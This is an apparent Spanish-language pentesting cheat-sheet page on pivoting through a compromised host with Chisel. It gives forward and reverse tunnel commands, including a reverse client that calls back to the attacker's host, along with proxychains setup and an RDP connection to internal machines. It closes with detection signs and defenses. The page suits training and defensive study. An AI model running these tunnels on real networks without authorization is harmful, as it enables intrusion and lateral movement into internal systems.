Chisel Pivoting (SOCKS5 tunnel)
Arsenal completo de comandos en la cheatsheetChisel es un túnel TCP/UDP escrito en Go que transporta los datos sobre HTTP y los asegura con SSH, todo en un único binario. Su gracia es que atraviesa entornos con firewall restrictivo y monta un proxy SOCKS5 a través de un host comprometido: a partir de ahí, cualquier herramienta de la máquina atacante alcanza la red interna usando proxychains. Es la alternativa de referencia cuando no hay SSH en el pivote.
Mecanismo
En el modo directo, el pivote hace de servidor y nosotros de cliente. En el host comprometido:
./chisel server -p 1234 --socks5Y desde la máquina atacante conectamos, lo que abre un SOCKS local en 127.0.0.1:1080:
./chisel client <pivot-ip>:1234 socksSi el firewall bloquea las conexiones entrantes al pivote, se usa el modo inverso: el servidor lo levantamos nosotros y es el pivote quien nos llama. En la máquina atacante:
sudo ./chisel server --reverse -p 1234 --socks5Y en el pivote comprometido (el prefijo R: indica túnel inverso):
./chisel client <lhost>:1234 R:socksEn cualquiera de los dos modos, añadimos el proxy al final de /etc/proxychains.conf:
socks5 127.0.0.1 1080Y ya podemos pivotar hacia la red interna a través del túnel:
proxychains xfreerdp /v:<internal-ip> /u:<user> /p:<pass>Requisitos
Se necesita el binario de Chisel en ambos extremos (conviene usar una versión de las releases para evitar discrepancias de glibc con el objetivo), conectividad hacia al menos uno de los extremos (el que hace de servidor), y proxychains para redirigir los sockets de las herramientas por el SOCKS. El pivote debe tener ruta hacia el segmento interno que queremos alcanzar.
Cómo detectarlo
Delatan el túnel los binarios desconocidos (chisel) en disco, el tráfico HTTP/WebSocket persistente hacia puertos altos entre segmentos que no deberían hablarse, los procesos que abren un SOCKS local (1080) y, en modo inverso, las conexiones salientes de un servidor interno hacia la IP del atacante. El volumen de tráfico tunelizado y su regularidad son otra pista.
Defensa. Filtrar el tráfico de salida (un servidor interno no debería iniciar conexiones a Internet), segmentar la red, aplicar listas de permitidos de binarios (AppLocker/WDAC) y usar IDS con firmas de túnel. Relacionado con pivoting con Ligolo-ng, pivoting con sshuttle, dynamic port forwarding, relay con socat y port forwarding con netsh.